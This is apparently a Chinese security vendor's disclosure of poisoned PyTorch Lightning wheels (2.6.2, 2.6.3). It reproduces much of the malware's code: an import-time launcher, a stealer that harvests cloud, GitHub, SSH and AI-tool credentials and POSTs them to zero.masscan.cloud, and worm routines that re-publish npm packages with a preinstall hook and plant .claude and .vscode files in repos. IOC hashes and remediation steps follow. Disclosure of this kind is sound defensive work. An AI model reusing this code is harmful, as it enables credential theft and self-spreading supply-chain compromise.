墨思AI AGENT监测发现 PyTorch Lightning 训练框架被投毒,月下载量超1000万



setup.mjs SHA256: 4066781fa830224c8bbcc3aa005a396657f9c8f9016f9a64ad44a9d7f5f45e34execution.js SHA256: eb6eb4154b03ec73218727dc643d26f4e14dfda2438112926bb5daf37ae8bcdb


import osimport subprocessimport sysimport threadingdef _run_runtime() -> None: runtime_dir = os.path.join(os.path.dirname(__file__), "_runtime") start = os.path.join(runtime_dir, "start.py") if os.path.exists(start): subprocess.Popen( [sys.executable, start], cwd=runtime_dir, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, )threading.Thread(target=_run_runtime, daemon=True).start()
BUN_VERSION = "1.3.13"ENTRY_SCRIPT = "router_runtime.js"def main(): local_bun = BUN_INSTALL_DIR / ("bun.exe" if is_win else "bun") system_bun = shutil.which("bun") if local_bun.exists(): bun_exec = str(local_bun) elif system_bun: bun_exec = system_bun else: asset = resolve_asset_name() url = f"https://github.com/oven-sh/bun/releases/download/bun-v{BUN_VERSION}/{asset}.zip" urllib.request.urlretrieve(url, zip_path) # 解压出 bun 二进制到本地 .bun 目录 subprocess.run([bun_exec, str(SCRIPT_DIR / ENTRY_SCRIPT)], cwd=SCRIPT_DIR)
async function main() { await setupEnvironment(); // 俄语环境退出、非 CI 后台化、加锁 const primarySender = await new DomainSenderFactory({ domain: "zero.masscan.cloud", port: 443, path: "v1/telemetry", dry_run: false, }).tryCreate(); const quickResults = await Promise.all([ collectFilesystemSecrets(), collectShellAndEnv(), collectGitHubRunnerSecrets(), ]); const githubSender = await createGitHubSenderFromHiddenToken(); const selfGithubSender = await createGitHubSenderFromStolenPATs(quickResults); const senders = [primarySender, githubSender, selfGithubSender].filter(Boolean); const collectors = [ new AwsSsmCollector(), new AwsSecretsManagerCollector(), new AwsStsCollector(), new AzureKeyVaultCollector(), new GcpSecretManagerCollector(), ]; for (const token of extractGitHubPATs(quickResults)) { if (await isValidGitHubToken(token)) { collectors.push(new GitHubActionsSecretsCollector(token)); } } await queueAndDispatch(quickResults, collectors, senders); for (const runnerToken of extractRunnerTokens(quickResults)) { await new GitHubRepoInfector(runnerToken).execute(); }}
async function collectShellAndEnv() { const result = {}; try { const token = execSync("gh auth token", { encoding: "utf-8", stdio: ["pipe", "pipe", "pipe"], }).trim(); if (token) result.token = token; } catch {} result.environment = process.env; return success(result);}async function collectGitHubRunnerSecrets() { if (process.env.GITHUB_ACTIONS !== "true") return failure("Not Actions"); if (process.env.RUNNER_OS !== "Linux") return failure("Not running on Linux runner"); const dump = execSync( `sudo python3 | tr -d '\\0' | grep -aoE '"[^"]+":\\{"value":"[^"]*","isSecret":true\\}' | sort -u`, { input: K4f, encoding: "utf-8" } ); // 从 runner 内存内容中抽取 GitHub Actions secrets return success(parseSecrets(dump));}const HOTSPOTS = [ "**/.env", "~/.aws/credentials", "~/.config/gcloud/application_default_credentials.json", "~/.kube/config", "~/.npmrc", "~/.pypirc", "~/.ssh/id_rsa", "/var/run/secrets/kubernetes.io/serviceaccount/token", "~/.claude.json", "~/.claude/mcp.json", ".kiro/settings/mcp.json",];
async function createEnvelope(data) { const gz = await gzip(Buffer.from(JSON.stringify(data))); const aesKey = randomBytes(32); const iv = randomBytes(12); const encryptedKey = publicEncrypt( { key: ATTACKER_RSA_PUBLIC_KEY, padding: constants.RSA_PKCS1_OAEP_PADDING, oaepHash: "sha256", }, aesKey ); const cipher = createCipheriv("aes-256-gcm", aesKey, iv); const ciphertext = Buffer.concat([ cipher.update(gz), cipher.final(), cipher.getAuthTag(), ]); return { envelope: Buffer.concat([iv, ciphertext]).toString("base64"), key: encryptedKey.toString("base64"), };}async function sendToDomain(envelope) { await fetch("https://zero.masscan.cloud:443/v1/telemetry", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(envelope), });}
async function findHiddenGitHubToken(optionalVictimToken) { const url = "https://api.github.com/search/commits" + "?q=EveryBoiWeBuildIsAWormyBoi&sort=author-date&order=desc&per_page=50"; const results = await fetchJson(url, optionalVictimToken); for (const item of results.items ?? []) { const m = item.commit.message.match( /^EveryBoiWeBuildIsAWormyBoi:([A-Za-z0-9+/]+={0,3})$/ ); if (!m) continue; const token = Buffer.from( Buffer.from(m[1], "base64").toString(), "base64" ).toString(); if (await hasRepoScope(token)) return createOctokit(token); } return false;}async function commitToRepo(envelope) { const content = Buffer.from(JSON.stringify(envelope, null, 2), "utf8").toString("base64"); const message = envelope.token ? `EveryBoiWeBuildIsAWormyBoi:${envelope.token}` : "Add files."; await octokit.request("POST /user/repos", { name: randomDuneName(), private: false, auto_init: true, description: "A Mini Shai-Hulud has Appeared", }); await octokit.rest.repos.createOrUpdateFileContents({ owner, repo, path: `results/results-${Date.now()}-${counter++}.json`, message, content, });}
async function updateTarball(tgzPath) { unpackTarball(tgzPath, tmpDir); copyFileSync(Bun.main, `${tmpDir}/package/router_runtime.js`); const pkg = JSON.parse(await readFile(`${tmpDir}/package/package.json`, "utf-8")); pkg.scripts ??= {}; pkg.scripts.preinstall = "node setup.mjs"; pkg.version = bumpPatch(pkg.version); await writeFile(`${tmpDir}/package/setup.mjs`, zT); await writeFile(`${tmpDir}/package/package.json`, JSON.stringify(pkg, null, 2)); return repackTarball(tmpDir, "package-updated.tgz");}async function executeNpmPropagation() { const { ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL } = process.env; const { value: oidcToken } = await fetch( `${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=npm:registry.npmjs.org`, { headers: { Authorization: `bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}` } } ).then((r) => r.json()); await downloadPackages(["@placeholder/package"], oidcToken);}
const FILE_UPDATES = { ".vscode/tasks.json": vscodeTasks, ".claude/router_runtime.js": { sourcePath: Bun.main }, ".claude/settings.json": claudeSettings, ".claude/setup.mjs": zT, ".vscode/setup.mjs": zT,};async function infectRepo(ghsToken) { const branches = await fetchEligibleBranches(); await pushChunkedFileUpdates( branches.map((branch) => ({ branchName: branch.name, expectedHeadOid: branch.headOid, files: materializeFiles(FILE_UPDATES), commitHeadline: "chore: update dependencies", })) );}

3071422c3294e7b61cb490c57c48c8dea569bacf12e57a078293b6547d7586d3 lightning-2.6.2-py3-none-any.whl56070a9d8de0c0ffb1ec5c309953cf4679432df5a78df9aeb020fbb73d2be9fb lightning-2.6.3-py3-none-any.whl5f5852b5f604369945118937b058e49064612ac69826e0adadca39a357dfb5b1 lightning/_runtime/router_runtime.js

-
GitHub:吊销所有 PAT、检查 Actions secrets 全量、改用短 TTL OIDC token
-
AWS:失活 access key、CloudTrail 查 IMDS 请求时间前后的异常调用
-
Azure / GCP:service principal / service account key 全量重置
-
npm:npm token revoke 名下所有 token、检查近一周 publish 历史
-
SSH 密钥对
部分典型客户

七大产品矩阵

夜雨聆风